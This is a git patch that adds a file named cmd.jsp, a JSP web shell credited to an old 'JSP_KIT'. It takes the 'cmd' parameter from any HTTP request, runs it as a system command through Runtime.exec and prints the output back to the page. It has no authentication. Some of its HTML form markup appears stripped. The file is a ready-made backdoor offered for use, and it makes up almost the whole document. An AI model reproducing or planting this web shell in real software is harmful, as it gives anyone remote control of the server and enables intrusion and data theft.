From 9d0462804b37ad4c77161f63f44844e3fa118c1a Mon Sep 17 00:00:00 2001 From: Krisna Pranav <68631244+krishpranav@users.noreply.github.com> Date: Sun, 7 Nov 2021 21:26:42 +0530 Subject: [PATCH] command execution jsp --- jsp/cmd.jsp | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 jsp/cmd.jsp diff --git a/jsp/cmd.jsp b/jsp/cmd.jsp new file mode 100644 index 0000000..8a7cb43 --- /dev/null +++ b/jsp/cmd.jsp @@ -0,0 +1,34 @@ +<%@ page import="java.util.*,java.io.*"%> +<% +// +// JSP_KIT +// +// cmd.jsp = Command Execution (unix) +// +// by: Unknown +// modified: 27/06/2003 +// +%> + +
+ + +
+
+<%
+if (request.getParameter("cmd") != null) {
+        out.println("Command: " + request.getParameter("cmd") + "
"); + Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); + OutputStream os = p.getOutputStream(); + InputStream in = p.getInputStream(); + DataInputStream dis = new DataInputStream(in); + String disr = dis.readLine(); + while ( disr != null ) { + out.println(disr); + disr = dis.readLine(); + } + } +%> +
+ +